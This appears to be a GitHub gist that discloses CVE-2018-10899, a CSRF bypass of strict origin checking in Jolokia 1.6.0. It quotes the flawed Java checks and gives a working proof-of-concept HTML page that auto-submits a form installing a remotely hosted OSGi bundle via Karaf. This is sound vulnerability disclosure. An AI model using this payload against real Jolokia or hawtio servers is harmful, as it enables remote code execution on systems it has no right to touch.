Skip to content

Instantly share code, notes, and snippets.

@bayotop
Created July 3, 2019 07:21
Show Gist options
  • Save bayotop/2bb8c2f96ffadf67e3750237b67f02fd to your computer and use it in GitHub Desktop.
Save bayotop/2bb8c2f96ffadf67e3750237b67f02fd to your computer and use it in GitHub Desktop.
CVE-2018-10899: CSRF in Jolokia 1.6.0

Summary

Jolokia 1.6.0 is vulnerable to CSRF. This holds true for properly configured instances with strict checking for origin and referrer headers. The issue was fixed in version 1.6.1.

Red Hat Security Advisory: https://access.redhat.com/security/cve/cve-2018-10899

Details

In version 1.2.1 Jolokia introduced a <strict-checking/> option within the Cross-Origin Resource Sharing policy defined in jolokia-access.xml to prevent CSRF (4.1.5).

The check enforces that the Origin (or Referer) header in all incoming requests matches a white-list of origins defined in Jolokia’s access policy. This check is implemented in the HttpRequestHandler.checkAccess() method, which will throw a SecurityException in case the origin specified in the request isn't white-listed. Note that the method wouldn't throw in version 1.6.0 in case the pOrigin variable is null.

public void checkAccess(String pHost, String pAddress, String pOrigin) {
  if (!backendManager.isRemoteAccessAllowed(pHost, pAddress)) {
    throw new SecurityException("No access from client " + pAddress + " allowed");
  }
  if (pOrigin != null && !backendManager.isOriginAllowed(pOrigin,true)) {
    throw new SecurityException("Origin " + pOrigin + " is not allowed to call this agent");
  }
}

The pOrigin variable is passed to the checkAccess() method either via JolokiaHttpHandler. extractOriginOrReferer() or AgentServlet.getOriginOrReferer(). Both these methods return null in case the incoming request has no Origin or Referer headers.

private String extractOriginOrReferer(HttpExchange pExchange) {
  Headers headers = pExchange.getRequestHeaders();
  String origin = headers.getFirst("Origin");
  if (origin == null) {
    origin = headers.getFirst("Referer");
  }
  return origin != null ? origin.replaceAll("[\\n\\r]*","") : null;
 }
private String getOriginOrReferer(HttpServletRequest pReq) {
  String origin = pReq.getHeader("Origin");
  if (origin == null) {
    origin = pReq.getHeader("Referer");
   }
   return origin != null ? origin.replaceAll("[\\n\\r]*","") : null;
 }

The Origin header doesn't have to be specified in CORS-unaware requests and there are multiple ways to suppress Referer headers completely. For example the following HTML page will issue a request — in latest Firefox — bypassing Jolokia's strict origin checks:

<!DOCTYPE html>
<head>
  <!-- Suppress Referer headers (Chrome, FF, Opera) -->
  <meta name="referrer" content="no-referrer">
</head>
<body onload=csrf.submit()>
  <!-- Issue a simple request with a JSON body (text/plain content-type) -->
  <form enctype="text/plain" id=csrf action="http://localhost:8181/hawtio/jolokia/?maxDepth=7&maxCollectionSize=50000&ignoreErrors=true&canonicalNaming=false" method="POST">
    <input type="hidden" name='{"type":"exec","mbean":"org.apache.karaf:type=bundle,name=root","operation":"install(java.lang.String,boolean)","arguments":["$JAR_HOST/$OSGI_BUNDLE_NAME-1.0.jar","True"],"ignore":"' value='"}'/>
  </form>
</body>
</html>

Note that the issued request has a text/plain content type. Jolokia, however, processes received data as JSON regardless of the content type specified in the request header. Moreover, the above HTML page will not trigger a pre-flight request so the configured CORS policy is irrelevant.

There is one more public bug mentioning CSRF in Jolokia: https://bugzilla.redhat.com/show_bug.cgi?id=1480060. The comments suggest that strict origin checking is sufficient to prevent CSRF which is not true for Jolokia in version <= 1.6.0.

Impact

This issue entirely reintroduces CVE-2014-0168 and usually allows RCE via CSRF.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment